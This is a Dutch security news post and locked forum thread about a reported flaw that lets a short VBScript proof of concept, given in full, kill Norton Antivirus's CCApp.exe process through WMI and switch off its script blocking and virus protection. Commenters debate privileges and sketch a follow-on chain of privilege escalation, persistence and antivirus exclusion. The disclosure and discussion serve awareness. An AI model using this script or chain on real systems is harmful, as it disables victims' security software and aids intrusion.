Exploit in Norton Antivirus en Norton Internet Security
Gebruikers van Norton Antivirus en Norton Internet Security zijn gewaarschuwd voor een exploit waardoor Script Blocking kan worden uitgeschakeld. Het probleem zou in alle versies van beide programma's aanwezig zijn. In een test met een volledig geupdate Norton Internet Security 2005 werd de applicatie compleet uitgeschakeld. Ook Antivirus en OutBreak (Internet Security onderdeel) werden uitgeschakeld!
PoC (Proof of Concept):
Open Notepad/Kladblok => voer onderste regels in => sla op als KILLNORTON.VBS
pgm = "CCApp.exe"
set wmi = getobject("winmgmts:")
sQuery = "select * from win32_process " _
& "where name='" & pgm & "'"
set processes = wmi.execquery(sQuery)
for each process in processes
process.terminate
next
Voer het VBS bestand uit en bekijk of jouw Norton ook vatbaar is. Symantec heeft nog geen patch voor dit probleem.
Met dank aan Imbiss.nl & Daniel Milisic voor het bekend maken van deze exploit
ccapp.exe. Zeer foute boel dat je dit kan scripten, maar dat zijn we al langer
gewend.
Als je CCapp.exe vervangt door explorer.exe is je taakbalk ook ineens weg
(start overigens wel opnieuw op). Hetzelfde geld voor andere actieve apps
die je opgeeft.
Het vervelende is wel dat het OS eerder toegang heeft tot deze functie dan
Norton zelf, maar ik zou eerder de blame eerder bij MS neerleggen dan bij
Symantec.
en het bovenstaande VBS-bestand wordt uitgevoerd? Misschien dat
iemand hier licht kan werpen indien WSH uit staat? Ik kan me
overigens wel voorstellen dat deze exploit dan teniet wordt gedaan.
Daarom een oproep aan iedereen om dit eens uit te proberen.
Host. Door gebruik te maken van Norton eigen Script Blocking kun je
Norton uitschakelen en Windows Scripting activeren!
Het gaat hier dus niet specifiek om Norton.
EERST LEZEN DAN PAS COMMENTAAR GEVEN!
Norton Antivirus en Norton Internet Security blokkeren Windows
Scripting
Host. Door gebruik te maken van Norton eigen Script Blocking kun je
Norton uitschakelen en Windows Scripting activeren!
Het gaat hier dus niet specifiek om Norton.
Bedankt voor de info. Het probleem is al voorgelegd aan het Internet
Storm Centrum in de VS, die het verder gaat onderzoeken. Zij gaan
dit nu uitproberen op andere producten van Symantec.
scriptje zie, lijkt het mij dat je daarmee alles kunt
uitzetten. Want voor zover ik het kan beoordelen, worden er
geen exploits misbruikt.
Als de Norton-processen in hun eigen gebruikerscontext
(service-account of SYSTEM) draaien, dan kan een 'gewone'
gebruiker die processen toch nooit afknallen met zo'n
scriptje? Het besturingssysteem moet dat afschermen op basis
van rechten en netjes tegen die gebruiker zeggen 'access
denied'.
Of ben ik nou gek?!
recht binnen Windows omgeving (anders functioneert Norton niet goed).
Het uitvoeren van zo'n script kan alle kanten opleiden. Uitschakelen van
Norton is bedoeld omdat Norton een eigen Script Blocker heeft. Is Norton
uitgeschakeld kan men doormiddel van een ander script meer rechten
krijgen of iets dergelijks.
Rechten systeem staat buiten spel. Norton draaid namelijk als systeem
recht binnen Windows omgeving (anders functioneert Norton niet goed).
Het uitvoeren van zo'n script kan alle kanten opleiden. Uitschakelen van
Norton is bedoeld omdat Norton een eigen Script Blocker heeft. Is Norton
uitgeschakeld kan men doormiddel van een ander script meer rechten
krijgen of iets dergelijks.
draait, kan hij een proces afschieten dat onder het SYSTEM-account
draait? En als er geen Norton is, kan die gebruiker via een ander scriptje
zichzelf meer rechten toekennen? Ik vind dat vreemd.
uit onder een draaiend programma met systeem rechten (msn of office
programma) en krijg zo rechten door zichzelf de systeemrechten
(IUSR_SYSTEM) toe te kennen of de op dat moment gelden rechten van
(CURRENT_USER) of het VBS scriptje/proggie copieert zichzelf in
Beheerders account (x:document and settingsAdministrator of All Users)
en word bij de eerste keer dat iemand zich aanmeld met beheer rechten
succesvol toegevoegd en vermenigvuldigd. Het VBS scriptje zou ook in
Norton een uitzondering kunnen toevoegen (cmd_line van norton) zodat hij
bij het opstarten van Norton niet opgemerkt wordt.
Het is maar een voorbeeld!
toegestaan.
VB: VBS scriptje schakeld Norton uit => VBS of Virus proggie
voert zichzelf uit onder een draaiend programma met systeem
rechten (msn of office programma) en krijg zo rechten door
zichzelf de systeemrechten (IUSR_SYSTEM) toe te kennen of de
op dat moment gelden rechten van (CURRENT_USER) of het VBS
scriptje/proggie copieert zichzelf in Beheerders account
(x:document and settingsAdministrator of All Users) en word
bij de eerste keer dat iemand zich aanmeld met beheer
rechten succesvol toegevoegd en vermenigvuldigd. Het VBS
scriptje zou ook in Norton een uitzondering kunnen toevoegen
(cmd_line van norton) zodat hij bij het opstarten van Norton
niet opgemerkt wordt. Het is maar een voorbeeld!
geloven namelijk. Als dit ècht zo werkt is toch de hele
beveiliging van Windows XP een grote aanfluiting? Wordt
vervolgd...
erg ver gaan. Ok, de script blocker valt uit maar vbscripts
zijn in plain text en aangezien de memory scanner wel gewoon
werkt zal nog vóórdat het vbscriptje geopend wordt , de
virusscanner awaarschuwen voor vbs.generic@mm,
vbs.bloodhound.gen, vbs.loveletter.gen of vbs.melissa.gen .
En bovendien; als een gebruiker al zo ver is dat hij zonder
argwaan een vbs bestand opent, dan kun je de computer net zo
goed opgeven want binnen no-time zal er een executable
geopend worden, welke geen enkele restrictie heeft.
Regel: 7
Teken: 9
Fout: Instructie wordt verwacht
Code: 800A0400
Bron: Compilatiefout Microsoft VBScript
Vertel mij het maar...
Getest op XP SP2 met NAV 2003 Pro ;
Regel: 7
Teken: 9
Fout: Instructie wordt verwacht
Code: 800A0400
Bron: Compilatiefout Microsoft VBScript
Vertel mij het maar...
eind weghalen en dan & "where name='" & pgm & "'" erachter plakken.
Dan doet-ie 't wel.
Ik heb 'm geprobeerd op Windows XP SP1 + alle updates behalve sp2.
Geen Norton draaien. Ik kon als gewone user geen processen afschieten
die onder het account System draaien. Bijvoorbeeld de processen van
Antivir. Er kwam geen foutmelding maar de processen bleven draaien.
Pffffffff, scheelt weer :)
Deze posting is gelocked. Reageren is niet meer mogelijk.
IT Security Officer
Utrecht heeft jou nodig! Als Information Security Officer vertaal je beleid naar technische uitvoering. Dit is cruciaal voor het waarborgen van de informatiebeveiliging van onze inwoners. Je krijgt de kans om betrokken te zijn bij complexe projecten met de nieuwste technologieën en kunt jouw stempel drukken op innovatie. Solliciteer nu!
Digital Designer
Ben jij een Grafisch vormgever, UI-designer, Game-artist of gewoon een ‘self-proclaimed creative genius’, die op zoek is naar een leuke en uitdagende baan waarin je al je creativiteit kwijt kan?Je werkt samen met onze developers en UI/UX-designer aan onze Gamified Cybersecurity Challenges welke jij voorziet van de mooiste designs.
Cyber Security Trainer
"You know that feeling after you have been to the cinema and seen an exciting movie? It's the same after this training. I can only say that this is probably the BEST TRAINING that I've ever done!!!”
Are you ready for a challenge?
Senior Full Stack Developer
Als full stack developer bij Certified Secure maak je de mooiste cybersecurity challenges die onze deelnemers wereldwijd uitdagen en inspireren. Alle challenges zijn gebaseerd op actuele kwetsbaarheden, je komt dus telkens nieuwe technieken tegen, van machine learning tot web assembly, van Swift UI tot GCP.